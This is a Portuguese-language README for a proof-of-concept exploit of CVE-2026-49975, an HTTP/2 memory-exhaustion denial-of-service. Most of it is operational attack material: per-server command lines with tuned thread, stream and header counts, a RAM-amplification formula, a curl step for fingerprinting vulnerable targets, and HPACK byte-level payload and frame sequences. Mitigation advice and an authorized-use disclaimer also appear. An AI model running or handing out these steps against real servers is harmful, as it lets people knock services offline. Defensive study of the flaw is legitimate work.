
Bomba HTTP/2 PoC — CVE-2026-49975 (bomba de referência indexada do HPACK + estagnação do controle de fluxo)
Exploit de prova de conceito para a CVE-2026-49975, uma vulnerabilidade remota de negação de serviço em implementações de servidores HTTP/2. Descoberta por Quang Luong (Calif Security Research), divulgada em 2 de junho de 2026.
Somente para testes de segurança autorizados. Não use contra infraestrutura que você não possua ou sem permissão por escrito para testar.
O ataque encadeia dois mecanismos do protocolo HTTP/2:
1. Bomba de Referência Indexada HPACK
O HPACK (RFC 7541) permite que remetentes referenciem cabeçalhos já vistos por índice — normalmente um byte. O exploit insere um cabeçalho quase vazio na tabela dinâmica uma única vez e depois o referencia milhares de vezes. Cada referência de 1 byte transmitida força o servidor a alocar ~70 bytes de contabilidade interna por entrada. Nenhum valor grande está envolvido, portanto os limites de "tamanho máximo de cabeçalho decodificado" nunca são acionados.
2. Bloqueio da Janela de Controle de Fluxo HTTP/2
Ao anunciar uma janela de recepção de zero bytes, o atacante impede o servidor de enviar sua resposta ou liberar qualquer memória. Quadros periódicos de 1 byte reiniciam o tempo-limite de envio do servidor, mantendo as alocações retidas enquanto a conexão estiver aberta.
WINDOW_UPDATEResultado: ~16 KB enviados por stream → ~1,15 MB de RAM do servidor alocados e retidos por stream.
| Servidor | Amplificação | Impacto na Demonstração | Status |
|---|---|---|---|
| Envoy 1.37.2 | ~5,700:1 | 32 GB em ~10s | Sem correção na divulgação |
| Apache httpd 2.4.67 | ~4,000:1 | 32 GB em ~18s | Corrigido no mod_http2 v2.0.41 |
| nginx < 1.29.8 | ~70:1 | 32 GB em ~45s | Corrigido no nginx 1.29.8 |
| Microsoft IIS (WS 2025) | ~68:1 | 64 GB em ~45s | Sem correção na divulgação |
| Cloudflare Pingora | ~68:1 | — | Sem correção na divulgação |
Sem dependências — apenas stdlib.
# Basic test (single connection)
python3 exploit-test.py target.com 443
# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl
| Flag | Padrão | Descrição |
|---|---|---|
target | — | Hostname ou IP |
port | 443 | Porta TCP |
--threads | 1 | Conexões paralelas (cada uma reconecta ao fechar) |
--streams | 10 | Streams HTTP/2 por conexão |
--headers | 5000 | Referências indexadas HPACK por stream |
--mode | nginx | nginx (contabilidade, 70:1) ou classic (valor grande, 4000:1) |
--no-ssl | off | Desabilita TLS (h2c) |
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²
# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB
| Alvo | Modo | --headers | Observações |
|---|---|---|---|
| nginx < 1.29.8 | nginx | 16374 | Permanece dentro do padrão http2_max_header_size 16k |
| Apache httpd | classic | 5000 | Técnica de migalhas de cookie |
| Envoy | classic | 32000 | Alta amplificação |
# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# Vulnerable if:
# - ALPN: server accepted h2 (HTTP/2 enabled)
# - server: nginx/X.Y.Z (where X.Y.Z < 1.29.8)
nginx — atualize para 1.29.8+ e adicione:
http2 max_headers 1000;
Ou desabilite o HTTP/2 por completo:
# Remove "http2" from listen directive
listen 443 ssl;
Apache httpd — atualize o mod_http2 para v2.0.41+. Solução temporária: Protocols http/1.1
IIS / Envoy / Pingora — nenhuma correção disponível no momento da redação. Desabilite o HTTP/2 ou coloque um proxy corrigido à frente.
Geral (todos os servidores):
# Cap worker memory to limit blast radius
ulimit -v 2097152 # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"
Dynamic table seed (incremental indexing, adds to index 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
Indexed reference to entry 62 (1 byte each):
0x80 | 62 = 0xbe
Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← bomb payload (pseudo-headers + HPACK bomb)
HEADERS [stream 3] ← bomb payload
...
WINDOW_UPDATE(1) per stream / 1s (keep-alive stall)
| Arquivo | Descrição |
|---|---|
exploit-test.py | PoC principal — multi-stream, reconexão contínua, modos nginx + classic |
SECURITY-REPORT-MIST.md | Relatório de avaliação autorizado para mist.ac.bd |
LICENSE | MIT |